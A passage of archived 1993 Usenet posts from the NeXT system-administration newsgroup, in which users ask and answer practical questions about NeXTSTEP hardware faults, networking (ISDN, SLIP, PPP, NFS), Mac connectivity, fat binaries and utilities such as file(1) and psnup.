> NeXT ROM Monitor 2.5 v66
>
> panic: NeXT Mach 2.2: mon Feb 3 ...;
> /ph1_sources/projects/mk-108.28/RELEASE
2) I rebooted from the rom monitor and things worked fine except that the
optical drive is dead (won't accept a disk).
* 1) and 2) seem to be more or less reproducible.
3) I opened the cube and fiddled with the OD`s cabling but the problem
remained.
4) I tried to write a little program to make ioctl calls to tell the OD to
test itself. However there seems to be a catch-22 involved: I can't send
ioctl's 'till I open the device, and the device won't open 'till I insert
a disk... (It is probably apparent to the real programmers among you that
I don't really know how this stuff works)
Any suggestions about what this might mean. How about other approaches to
the diagnosis of this problem (I don't have access to other cubes for
purposes of replacement testing).
yrs
Rob Wylie
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From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Re: Macintosh Emulation
Message-ID: <1993May17.182055.21831@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <412@enstb.enst-bretagne.fr>
Date: Mon, 17 May 93 18:20:55 GMT
marc fradin writes
> I want to use Word 5 and Excel 4 on my NextStation. Does
> anybody know some software (free or not) to do that ?
> I'd very much apppreciate any info.
Executor. Write to info@ardi.com for info. There's also a demo on
the archives somewhere, I believe.
--
-
Stefano Pagiola
Food Research Institute, Stanford University
spagiola@frinext.stanford.edu (NeXTMail encouraged)
spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin
From: olson@raptor.mcs.anl.gov (Bob Olson)
Subject: Re: Setting Up ISDN
Message-ID: <737663879724@raptor.mcs.anl.gov>
Sender: usenet@mcs.anl.gov
Organization: /usr/local/lib/organization
References: <1993May15.123610.28100@macc.wisc.edu> <1993May17.141608.15436@macc.wisc.edu> <35933@oasys.dt.navy.mil>
Date: Mon, 17 May 1993 18:37:59 GMT
In article <35933@oasys.dt.navy.mil> curt@kcwc.com (Curt Welch) writes:
>In comp.sys.next.sysadmin, anderson@macc.wisc.edu (Jess Anderson) writes:
>>[About setting up ISDN..]
>>Hm, things could get tense! I wonderful if it's possible to
>>have a netinfo network with only one machine in it.
That's no problem.
>Speaking of ISDN -- can anyone tell me if 3.1 is going to include
>the ISDN stuff? I've read about NeXT dropping PhoneKit. Does this mean
>that the ISDN remote-login stuff is also going to be dropped in 3.1?
I've heard pretty definitely that PhoneKit is gone in 3.1, to be sold/given to
a third party to develop.
>Is there some way to access the files on your home system with this setup?
>Is there some way to transfer files between home and work with this
>setup? And how fast is it? Is it fast enough to be useable. (unlike
>-NXHost over 14.4K slip).
It works rather well. The setup I'm currently evaluating uses a pair
of Gandalf Premier TA-1/5520 bridge combinations, which provide ethernet
bridging between the two boxes. The end result is that my machine looks
(from the network's point of view) exactly like it is on the net here at
the lab. NFS mounts work fine, though noticibly sluggishly. However, thus
far I've only been able to do tests based on a single B-channel. NXHosting
is quite usable. Again, it is noticably more sluggish but definitely usable.
NB: the gandalf boxes do compression on the data stream. I can get
10 Kbytes/sec ftp'ing the NeXT kernel, over a single 64Kbit/sec line.
They're also pretty expensive (in the $3K range).
--bob
Newsgroups: comp.sys.next.sysadmin
From: barr@spot.Colorado.EDU (BARR DOUG)
Subject: Server Crashing
Message-ID: <1993May17.214634.11841@ucsu.Colorado.EDU>
Sender: news@ucsu.Colorado.EDU (USENET News System)
Organization: University of Colorado, Boulder
Date: Mon, 17 May 1993 21:46:34 GMT
We have a server that is attached to a thinwire Lan. Is it possible that
the server could crash due to ethernet errors of some type. When they com
in in the morning, they have to reboot the server in order to logon etc>
I am responsible for their ethernet and they seem to feel that it could
be the ethernet. I looked at traffic with our Sniffer and could find no
problems, in fact things looked very clean.
Newsgroups: comp.sys.next.sysadmin
From: dal@netcom.com (Dana Andre Letendre)
Subject: cc:mail <-> NeXT Mail
Message-ID: <dalC773sq.38G@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 17 May 1993 23:55:37 GMT
Does anyone know of an easy way to connect cc:mail to NeXT mail
over a Novell network?
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: /etc/magic or equivalent under NS 3.0
Message-ID: <1993May18.010328.7700@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1t6hme$av6@venus.haverford.edu>
Date: Tue, 18 May 1993 01:03:28 GMT
In article <1t6hme$av6@venus.haverford.edu>
eoliver@ralph.cs.haverford.edu (Erik Oliver) writes:
>On most versions of UNIX I have used before, there is a file named
>/etc/magic which file (1) relies on to describe files.
That's a System V feature, it's not in BSD.
>My question is simple:
> What if any is the name of the equivalent file under NS 3.0?
There isn't one. file(1) is hardcoded and nonextensible.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: ?: NS and disk drives > 2.0GB (Update)
Message-ID: <1993May18.013420.8979@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993May14.112209.1428@gamelan> <1t8qbq$2fk@gaia.ucs.orst.edu>
Date: Tue, 18 May 1993 01:34:20 GMT
Maybe it's time for NeXT to look at what IBM did with AIX, or SGI
with IRIX, to support filesystems larger than 2 GB.
Simply accept that UFS is no longer viable as a long-term
solution, and move on. It will still be around for root file
systems and removable media, of course. I just don't see the
point in gratutiously breaking every piece of code in history
that depends on things being exactly the way they are now--when
at most you're going to get a factor of two. That'll buy you
what? A year? Maybe two?
/usr/filesystems/EFS.fs/--how about it? Even if NeXT doesn't
buy in immediately, it's a perfect third party opportunity.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Macintosh Emulation
Message-ID: <1993May17.171243.8021@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <412@enstb.enst-bretagne.fr>
Distribution: na
Date: Mon, 17 May 1993 17:12:43 GMT
In article <412@enstb.enst-bretagne.fr> fradin@rennes.enst-bretagne.fr
(marc fradin) writes:
> I want to use Word 5 and Excel 4 on my NextStation. Does anybody know
> some software (free or not) to do that ?
> I'd very much apppreciate any info.
ARDI makes an excellent Mac emulator called Executor. Send mail to
info@ardi.com for more information.
M Carling
President, Bay Area NeXT Group
From: weiss@pinfo100.informatik.uni-mannheim.de (Michael Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Server Crashing
Date: 18 May 1993 11:51:32 GMT
Organization: University of Mannheim, Germany
Message-ID: <1taik4$quo@darum.uni-mannheim.de>
References: <1993May17.214634.11841@ucsu.Colorado.EDU>
In article <1993May17.214634.11841@ucsu.Colorado.EDU> barr@spot.Colorado.EDU
(BARR DOUG) writes:
> We have a server that is attached to a thinwire Lan. Is it possible that
> the server could crash due to ethernet errors of some type. When they com
> in in the morning, they have to reboot the server in order to logon etc>
> I am responsible for their ethernet and they seem to feel that it could
> be the ethernet. I looked at traffic with our Sniffer and could find no
> problems, in fact things looked very clean.
Doug,
we observed a similar behavior after installing sendmail on a non-NeXT machine
in the same network and running a permament test overnight. This test consisted
of sending a mail to one of our NeXTs periodically every half hour. In the
morning the system had halted with a system panic (signal 15) and had to be
rebooted. After stopping the tests, the NeXTs were running as usual.
Greetings, Michael
Michael Weiss
Lehrstuhl fuer Praktische Informatik I
Seminargebaeude A5, Universitaet Mannheim
W-6800 Mannheim 1, Germany
Newsgroups: comp.sys.next.sysadmin
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Subject: speeding up the console?
Message-ID: <scott.737726323@shrug>
Organization: University of Newcastle upon Tyne, UK, NE1 7RU
Keywords: 9600,faster
Date: Tue, 18 May 1993 11:58:43 GMT
Is it possible to speed up the console and pty's on a NeXT? I think
they are currently about 9600 and I think I'd like faster...I have
heard people hacking the kernel on their suns or whatever and
can get better speed...is this possible on the NeXT?
Thanks!
Scott
--
EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
"Did you know that the computer invented itself?" - SNL
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
From: edmtl@taxus.uib.no (Thor Legvold)
Subject: SLIP/PPP information/installation help?
Message-ID: <1993May18.123105.25285@alf.uib.no>
Sender: edmtl@alf.uib.no (Thor Legvold)
Organization: University of Bergen, Norway
Date: Tue, 18 May 93 12:31:05 GMT
Hi!
Well, I am still trying to get SLIP to work, and I have some questions
to you gurus out there.
So far (due to many things) SLIP doesn't work. Or maybe it's the modems,
I don't know. But in the meantime I've obtained a beta (alpha?) version
of PPP (Merit.edu PPP distribution) which I would like to try out.
I've spoken to the sysadmins who control our net, and found out that a
possibility exists for running PPP from my home machine to a Cisco
router (via a 9600 or 14.4 baud modem connected to the Cisco) which
supports PPP.
My problem: could someone point me to a FAQ, or a reasonable introduction
to what PPP is, how it differs from SLIP, and what it can be used for?
My net-knowledge is limited at this level. Do I need to do any special
configuring? Can I simply send an IP datagram after starting PPP, and
have everything work? (Of course I'll configure a username/passwd on
the Cisco first :-) Is PPP a protocoll at the same level as SLIP? Do
I need to run some sort of packet protocoll on top of PPP (it seems
that PPP is a lower level protocoll than SLIP - is this correct?)
I'm generally in the dark here (if you haven't already guessed),
and would really like some info to get me started (and hopefully
running :-) I'd like to do this this week (I'm free this week :-),
so please email replies directly to me.
Regards,
Thor
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Newsgroups: comp.sys.next.sysadmin
Subject: replacing file (was Re: /etc/magic or equivalent under NS 3.0)
Date: 18 May 1993 12:46:40 GMT
Organization: Haverford College Computer Science Department
Message-ID: <1talrg$msd@venus.haverford.edu>
References: <1t6hme$av6@venus.haverford.edu> <1993May18.010328.7700@csus.edu>
In article <1993May18.010328.7700@csus.edu> eps@cs.sfsu.edu writes:
>In article <1t6hme$av6@venus.haverford.edu>
> eoliver@ralph.cs.haverford.edu (Erik Oliver) writes:
>>On most versions of UNIX I have used before, there is a file named
>>/etc/magic which file (1) relies on to describe files.
>
>That's a System V feature, it's not in BSD.
>
>>My question is simple:
>> What if any is the name of the equivalent file under NS 3.0?
>
>There isn't one. file(1) is hardcoded and nonextensible.
>
> -=EPS=-
Okay now that we've established that the standard file (1) with NS 3.0
is not extensible, can anyone point me in the direction of sources for a
version of file (1) that would be extensible with /etc/magic.
Thanks,
Erik
Erik_Oliver@ralph.cs.haverford.edu
--
Erik Oliver Erik_Oliver@ralph.cs.haverford.edu
Newsgroups: comp.sys.next.sysadmin
From: heck@uenics.evansville.edu (Patrick Heck)
Subject: NS 3.0 and Netware 3.11
Message-ID: <1993May18.152454.5925@uenics.evansville.edu>
Organization: University of Evansville
Date: Tue, 18 May 1993 15:24:54 GMT
Since we upgraded our NeXT lab to NS 3.0, we have been unable to
co-exist with Novell Netware 3.11 -- constant crashing of our NeXT
file server. Is there a fix or patch that would allow our NeXT lab to
co-exist with our Novell labs?
Any help would be greatly appreciated.
As I am new to this group, I have not seen an FAQ. Is one available?
I've not noticed it coming across news.answers in recent weeks.
--
Patrick Heck
University of Evansville heck@evansville.edu
Newsgroups: comp.sys.next.sysadmin
From: ob@obh.in-berlin.de (Oliver Brandmueller)
Subject: Re: /etc/magic or equivalent under NS 3.0
Message-ID: <VJLDB1PK@obh.in-berlin.de>
Organization: obh - private bbs in Berlin/Germany
References: <1t6hme$av6@venus.haverford.edu> <1993May18.010328.7700@csus.edu>
Date: Tue, 18 May 93 11:17:56 GMT
eps@futon.SFSU.EDU (Eric P. Scott) writes:
>In article <1t6hme$av6@venus.haverford.edu>
> eoliver@ralph.cs.haverford.edu (Erik Oliver) writes:
>>On most versions of UNIX I have used before, there is a file named
>>/etc/magic which file (1) relies on to describe files.
>That's a System V feature, it's not in BSD.
>>My question is simple:
>> What if any is the name of the equivalent file under NS 3.0?
>There isn't one. file(1) is hardcoded and nonextensible.
I've got something called "magic" here. It's free, just get it by ftp
(don't know wehere, use archie). It uses /etc/magic and is much better
than the file(1) utility.
Bye, Olli
--
| Oliver Brandmueller | Detmolder Str. 64 | 1000 Berlin 31 | Germany - FRG |
| Fax: +49 30 8536544 | V: 030/853 69 80 | Cityruf 3153068 30 (numerisch) |
| "Ich werde Millionaer, heirate Jodie Foster und nehme mir eine Nympho- |
| manin als Putzfrau. Dann habe ich alles erreicht." - ob@school |
Newsgroups: comp.sys.next.sysadmin
From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS)
Subject: printing 2-up
Message-ID: <1993May18.154119.2471@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU Project Eos
Date: Tue, 18 May 1993 15:41:19 GMT
OK, I know that I should know this, but where is a program
that will allow me to print a POSTSCRIPT file in 2-up?
I can't use enscript because it just prints the ascii version
of the postscript in 2-up. no go.
can someone help me out?
thanks,
jcd
--
\ Joseph C. Davis jcdavis1@eos.ncsu.edu People are not basically \
\ (919) 515-7452 stupid, they just act \
\ that way... \
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Newsgroups: comp.sys.next.sysadmin
From: CCGREG@mizzou1.missouri.edu (Greg Johnson)
Subject: IBM WDSF backup client for NeXT?
Message-ID: <16BD29FE3.CCGREG@mizzou1.missouri.edu>
Sender: news@mont.cs.missouri.edu
Organization: University of Missouri
Date: Tue, 18 May 93 11:22:10 CDT
Has anyone ported IBM's "Workstation Data Save Facility" client to NeXT?
WDSF via a net can do arbitrary backups, incremental backups, archives,
and of course restores from various clients, currently including Sun,
DOS, Mac, Novell, and others. The nifty part is that the admin or users
have an easy-to-use interface for backup & recovery of whatever files.
I tested this by NFS-mounting a NeXT file system on an RS/6000. For a
mid-day backup of system files (/bin, /private, /NextApps, ...):
7,935 files occupying 182MB, took 57 minutes, compressing to 52M. In that
hour, the data ran through our network twice; NFS from NeXT to the RS/6000,
compressed there, thence to a IBM 3090 VM server, cached on disk, thence
to tape. The WDSF server tracks names and attributes of each file. IBM
plans to enhance this product (add more clients, add an RS/6000 server,
change the product name several times, etc.)
I am told that I may get non-disclosure access to the Sun client source.
I hope to get at least the command-line interface working. Of course I
hope even more that someone else had done this port or is planning to!
: Greg Johnson, Senior Scientific Programmer/Analyst -- Campus Computing
: 233 Heinkel Building, University of Missouri, Columbia, MO 65203
: ccgreg@mizzou1.missouri.edu / ccgreg@monad.missouri.edu / 314-882-2000
From: Christopher_Lane@Med.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: The problem with fat binaries.
Date: 18 May 1993 18:31:33 GMT
Organization: Stanford University
Message-ID: <1tba25$3n4@morrow.stanford.edu>
References: <9305180716.AA05800@flexus>
Well actually, there are at least two problems with fat binaries from a
sysadmin point of view, the first being the expanded size (as discussed
recently on comp.sys.next.programmer) being more than twice a thin binary due
to lack segment sharing and additional header. (You can convince yourself of
this by picking through the pointers in the binary or simply doing:
strings - -10 FatBinary.app/FatBinary | sort | more
to see that even string space is duplicated. (All the more incentive to use
StringTables which move strings outside the binary and into the app wrapper.)
However, this isn't the problem I'm concerned with as a sysadmin -- space is
always a problem and there are known ways to deal with it. What concerns me is
that applications built by developers (e.g. not NeXT) can compile fat but
NeXT's own binaries on /usr/bin, etc. won't be. There are tools promised to
split fat binaries into thin but will there be tools to compose existing thin
binaries (no source) into fat? (Any 3.1 beta testers care to hint?)
We currently export executable directories from a common server and plan to
support both 68K and 486 machines for a while. I really don't want separate
but equal file systems if I can avoid it as the cost (people time) of having to
remember to update/patch things in two places all the time is by far more
significant to us than disk space. We went through this in the Sun3/Sun4
transition and it was a pain -- fat binaries can save us from this but only if
all binaries are fat, not just some.
I don't mind (too much) getting separate 486 and 68K distribution media but I
want to believe they are both compatible enough, and the tools are available,
to create one set of fat binaries and have one 3.1 file system -- not two.
- Christopher
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: ?: NS and disk drives > 2.0GB (Update)
Message-ID: <1993May18.192807.878@bernina.ethz.ch>
Followup-To: comp.sys.next.programmer
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <1993May14.112209.1428@gamelan> <1t8qbq$2fk@gaia.ucs.orst.edu> <1993May18.013420.8979@csus.edu>
Date: Tue, 18 May 1993 19:28:07 GMT
In article <1993May18.013420.8979@csus.edu> eps@cs.sfsu.edu writes:
>/usr/filesystems/EFS.fs/--how about it? Even if NeXT doesn't
>buy in immediately, it's a perfect third party opportunity.
BTW: Does anyone know how to write a loadable file system?
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: abell@netcom.com (Steven T. Abell)
Subject: Help! My console has disappeared!
Message-ID: <abellC78IBp.AD0@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Distribution: na
Date: Tue, 18 May 1993 18:07:00 GMT
Title says it all. I have no idea why.
Clicking the Console menu item does nothing.
Any hints?
Steve abell@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: thsscvc@iitmax.iit.edu (Chris Conley)
Subject: Using NEXTSTEP for a Mac server and connection to Unix network
Message-ID: <1993May18.222128.4860@iitmax.iit.edu>
Keywords: Mac Server
Organization: Illinois Institute of Technology / Academic Computing Center
Date: Tue, 18 May 93 22:21:28 GMT
Happy summertime,
We would like to set up an application server for our Macs, as well as connect
them to our Unix lab which has a variety of Unix boxes attached to it.
I have a feeling that NEXTSTEP on a 486 plus some relevant software could
possibly be the best solution for this situation. Does anyone have any
experience doing the same thing? Any pointers to possible solutions?
We don't want to gewt a Mac server because it'll be 10,000 and I'm not
so sure how easily it will hook up to the unix boxes.
We're thinking about getting a SparcClassic, but I don't have any experience
with Solaris and Macs.
NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can
provide Macintosh connectivity. I am hoping to get rudimentary email going
across the network also.
Any help or tips are greatly appreciated,
Chris Conley
Institute of Design
Chicago
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: yf5990@u.cc.utah.edu (Yan Fang)
Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network
Message-ID: <1993May19.015535.17495@fcom.cc.utah.edu>
Keywords: Mac Server
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center Student Mail Machine
References: <1993May18.222128.4860@iitmax.iit.edu>
Date: Wed, 19 May 93 01:55:35 GMT
In article <1993May18.222128.4860@iitmax.iit.edu> thsscvc@iitmax.iit.edu (Chris Conley) writes:
>Happy summertime,
>
>We would like to set up an application server for our Macs, as well as connect
>them to our Unix lab which has a variety of Unix boxes attached to it.
>
>I have a feeling that NEXTSTEP on a 486 plus some relevant software could
>possibly be the best solution for this situation. Does anyone have any
>experience doing the same thing? Any pointers to possible solutions?
>
>We don't want to gewt a Mac server because it'll be 10,000 and I'm not
>so sure how easily it will hook up to the unix boxes.
>
>We're thinking about getting a SparcClassic, but I don't have any experience
>with Solaris and Macs.
>
>NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can
>provide Macintosh connectivity. I am hoping to get rudimentary email going
>across the network also.
>
>Any help or tips are greatly appreciated,
>
>Chris Conley
>Institute of Design
>Chicago
It sounds like what you want is uShare, made by IPT. I don't know if
they've ported it to the '486, as the last time I talked with them they
were bummed out about NeXT's sale of the factory.
uShare does, however, run nicely on Sun SPARCstations, AxilStations,
Tatung, etc. I don't remember if it runs on PA/RISC or Alpha, though.
Kris Magnusson
Chair, SLaNG
--
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Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network
Message-ID: <1993May19.030452.9893@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993May18.222128.4860@iitmax.iit.edu>
Date: Wed, 19 May 1993 03:04:52 GMT
In article <1993May18.222128.4860@iitmax.iit.edu>
thsscvc@iitmax.iit.edu (Chris Conley) writes:
>We would like to set up an application server for our Macs, as well as connect
>them to our Unix lab which has a variety of Unix boxes attached to it.
OK.
>I have a feeling that NEXTSTEP on a 486 plus some relevant software could
>possibly be the best solution for this situation.
Why?
> Does anyone have any
>experience doing the same thing? Any pointers to possible solutions?
Not with 486s specifically, but we have lots of Macs talking to
lots of other things. Nearly all of the Macs have Ethernet
connections, and we have an internal use site license for Apple's
MacTCP--the foundation of Macintosh interoperability.
>We don't want to gewt a Mac server because it'll be 10,000 and I'm not
>so sure how easily it will hook up to the unix boxes.
When you say Mac server, what are you referring to? An Apple
product? Apple's products in that price range run A/UX, which is
a real honest-to-goodness UNIX implementation, and gets along
great with other UNIX platforms (no surprise there). A/UX
includes the functionality of MacTCP.
>We're thinking about getting a SparcClassic, but I don't have any experience
>with Solaris and Macs.
Ah yes, the only RISC processor that makes Pentium look good. :-)
Solaris 1.x is a pretty decent UNIX implementation. Solaris 2.x,
on the other hand...
>NEXTSTEP would work nicely with the Unix lab, and I am hoping IPT can
>provide Macintosh connectivity.
What *exactly* do you want under the heading "Macintosh
connectivity?" Despite IPT's current claim to have some
sort of de facto monopoly in this area, you'd be amazed
what you can accomplish without paying them a dime.
We have the Sun version of uShare. It sucks. It's worse
than either freeware alternative, but a manager who mistakenly
believed that "commercially supported solutions" were inherently
superior signed off on it. I certainly wouldn't pay for their
NeXT product, even though viable alternatives are still months
away.
Things you can do *without* IPT products:
+ Read and write Macintosh-formatted diskettes
+ Run Macintosh applications on NeXT hardware
+ Transfer files between NeXTs and Macs, with either side
initiating the transfer
+ Have NeXT files appear on Mac as network mounted volumes
+ Print from NeXTs to an Apple LaserWriter
+ Print from Macs to a NeXT Laser Printer
+ Send and receive electronic mail
+ Log onto NeXT remotely with ASCII terminal interface
+ Access databases stored on the NeXT side
(Anywhere you see NeXT above you can substitute Sun as well)
All IPT really buys you:
+ The ability to have a NEXTSTEP machine appear to be an
AppleShare client to an existing EtherTalk network
(which you got for free under 3.0, but unbundled in 3.1)
What NOBODY lets you do (yet):
+ Run a NEXTSTEP application -NXHost'ed to a Mac
> I am hoping to get rudimentary email going
>across the network also.
Trivial.
-=EPS=-
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From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Re: Setting Up ISDN
Message-ID: <1993May19.033529.179766@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
References: <1993May17.141608.15436@macc.wisc.edu>
Date: Wed, 19 May 1993 03:35:29 GMT
In article <1993May17.141608.15436@macc.wisc.edu> anderson@macc.wisc.edu
(Jess Anderson) writes:
> In article <7376443651130@dalek.mcs.anl.gov>
> olson@dalek.mcs.anl.gov (Bob Olson) writes:
>
> >In article <1993May15.123610.28100@macc.wisc.edu>
> >anderson@macc.wisc.edu (Jess Anderson) writes:
>
> >>My ISDN line has been installed and I'm trying to follow the
> >>documented recipe for getting it going, so far without
> >>success.
>
> >>It's looking like PhoneManager *requires* a Netinfo network.
> >>Can someone enlighten me or (even better) give me a remedy?
>
> >Yeah, I had to graft on a toplevel domain to get it to work. You should
> >be able to do that by modifying the instructions in the Network and
> >SysAdmin chapter on creating a three-level domain.
>
> Hm, things could get tense! I wonderful if it's possible to
> have a netinfo network with only one machine in it.
Check your netinfo database again. When I first started setting up my
slip, I found out that there was a "serves=../network" domain, which of
course, I did not want. I wanted a 1-level domain, versus the 2-level
that you have by default. If it still wants a 2-level domain, go ahead
and create it, it won't kill you. it just means you're running another
nidb locally.
- Kevin Wang
From: Christopher_Lane@Med.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: Re: The problem with fat binaries.
Date: 19 May 1993 15:10:51 GMT
Organization: Stanford University
Message-ID: <1tdilr$7pa@morrow.stanford.edu>
References: <1tba25$3n4@morrow.stanford.edu>
In article <1tba25$3n4@morrow.stanford.edu> I wrote:
> will there be tools to compose existing thin binaries (no source)
> into fat?
A couple of folks in the know have explained that there is such a tool
to build fat binaries out of thin included in 3.1 that can be used to
recombine parts of the 68K-only and 486-only distributions into a fat
distribution on a common server.
Thanks for the responses,
- Christopher
From: Christopher_Lane@Med.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: Re: printing 2-up
Date: 19 May 1993 15:14:40 GMT
Organization: Stanford University
Message-ID: <1tdit0$81h@morrow.stanford.edu>
References: <1993May18.154119.2471@ncsu.edu>
JOSEPH CARL DAVIS <jcdavis1@eos.ncsu.edu> writes:
> where is a program that will allow me to print a POSTSCRIPT file
> in 2-up?
The 'psnup' program that comes with 3.0 should do what you want -- I've
used it successfully to do 'six up'. The introduction from the Unix
'man' page follows below.
- Christopher
PSNUP(1) UNIX Programmer's Manual PSNUP(1)
NAME
psnup - Print multiple pages on a sheet of paper.
SYNOPSIS
psnup [ -rG ] [ -nnupspec ] [ -Spapersize ] [ -spagesize ] [
-poutputfile ] [ -Pprinter ] [ -dprinter ] [ file ]
DESCRIPTION
psnup reads in a POSTSCRIPT file (or the standard input if
no file is named), and if the input conforms to the
POSTSCRIPT file structuring conventions, provides page rota-
tion, printing of multiple pages on a sheet of paper (n-up
printing), selection of page and paper sizes, and writes the
resulting file on the standard output. The output may be
directed to a file.
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From: Aaron Herskowitz <aherskow@alleg.edu>
Subject: Digital Webster Duplicate Dictionary?
Message-ID: <1993May19.154023.6428@alleg.edu>
Sender: news@alleg.edu
Organization: Allegheny College
Date: Wed, 19 May 1993 15:40:23 GMT
In preparation for some 3.0 and hopefully 3.1 upgrades, I have been trying
to determine what packages take up what space.
I found that the 3.0 Digital Webster package contains the Webster.app, the
Thesaurus and the
/NextLibrary/References/Webster-Dictionary/CompactDictionary (a 14 meg
file.)
The Literature package contains the Websters picture database and the file
/NextLibrary/References/Webster-Dictionary/Dictionary (a 20 meg file.)
What I would like to know is if the "Dictionary" file contains the
"CompactDictionary" information or not. For instance, if I install the
full Webster and Literature packages, can I remove the "CompactDictionary"
file and still have full functionality of Websters? Or is
"CompactDictionary" and "Dictionary" more like "common words" and
"uncommon words"?
I tried to rename both the files and lookup a few words, and it seems
possible, but I wanted to know for sure.
Anyone know?
Aaron
--
Allegheny College, Meadville, Pennsylvania
[aherskow@alleg.edu NeXTmail Welcomed]
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Digital Webster Duplicate Dictionary?
Message-ID: <C7A71q.ILJ@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1993May19.154023.6428@alleg.edu>
Date: Wed, 19 May 1993 15:58:38 GMT
In article <1993May19.154023.6428@alleg.edu> aherskow@alleg.edu writes:
>
>What I would like to know is if the "Dictionary" file contains the
>"CompactDictionary" information or not. For instance, if I install the
>full Webster and Literature packages, can I remove the "CompactDictionary"
>file and still have full functionality of Websters? Or is
>"CompactDictionary" and "Dictionary" more like "common words" and
>"uncommon words"?
>
Yep, you can go ahead and blow away the CompatDictionary if you've
installed the Full Webster package.
-rob
---
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francisr@indiana.edu (812)855-0327
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From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS)
Subject: Matrix packages in 'C'
Message-ID: <1993May19.151424.12047@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU Project Eos
Date: Wed, 19 May 1993 15:14:24 GMT
Hello out there:
I am starting to look at doing some mathematical computation
on teh NeXT, and I am wondering if there are any Matrix computation
packages available in 'c'. I have heard about eispack and linpack,
but they are written in Fortran, and I don't think that they will
be as 'optimal' if I use f2c to convert them to 'c'.
What are people using for mathematical computation? please don't
tell me to write my own, as I don't have time to learn all of the
nuances of writing optimal matrix computation code. I could write
naive ones rather easily, but optimal ( fast ) routines are not
obvious.
thanks for any help.
regards,
jcd
.
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\ (919) 515-7452 stupid, they just act \
\ that way... \
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From: curt@oasys.dt.navy.mil (Curt Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: autonfsmount dies / SLIP problem
Message-ID: <36062@oasys.dt.navy.mil>
Date: 19 May 93 17:30:23 GMT
Organization: Carderock Division, NSWC, Bethesda, MD
I've got a problem with autonfsmount and was wondering
if anyone had seen (and solved) this problem before.
I'm trying to help someone set up NFS over a SLIP line to his home
system. The SLIP line seems to be working fine now, and he can mount
the remote file system using a mount command from a terminal window,
but when he uses NFS Manager and sets up the remote directory to be
mounted automatically, it never mounts.
I've been helping this guy over the phone and don't have direct access
to his system so it's hard for me to debug the problem.
I noticed that (autonfsmount) isn't running, but other deamons, like
the 4 (biod) are running. I assume this is why it isn't working.
I noticed that autnfsmount wasn't running on my system either (which
isn't running SLIP) but is otherwise configured simmilar to his.
In my console log, there are messages like this:
May 17 22:25:00 kcwc autonfsmount: Can't get my address
If I try to run autonfsmount (with the same arguments it's started with
in rc) I get the same error, and it dies. He said he saw errors like
that also.
Does anyone know why autonfsmount is dying? Why can't it get it's
address? What address is it trying to get? Is it trying to talk to
some other deamon that might not be running?
The system is configured to only bind to it's local netinfo domain. The
ethernet address is configured to be the same as the SLIP address - but
nothing is connected to the ethernet interface. (This strikes me as
a very strange thing to do but seems to be the way to make SLIP work
on a NeXT -- can anyone explain to me why this even works?)
Thanks in advance for any help anyone can give me on this.
Curt Welch
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From: jbryans@csulb.edu (Jack Bryans)
Subject: BIND 4.9 released
Message-ID: <JBRYANS.93May19110333@wren.csulb.edu>
Sender: news@csulb.edu (News Administration/Rumor Bureau)
Organization: Cal State Long Beach
Date: Wed, 19 May 1993 18:03:36 GMT
BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3
problems and is highly recommended. Note that the BOG.psf, mentioned below,
is in the tar as doc/BOG/file.psf. For Preview purposes it can be renamed
or linked to a .ps file.
Jack
-----
>From: vixie@pa.dec.com (Paul A Vixie)>Newsgroups: comp.protocols.tcp-ip.domains
>Subject: BIND 4.9 has been released
>Date: 17 May 93 21:42:21
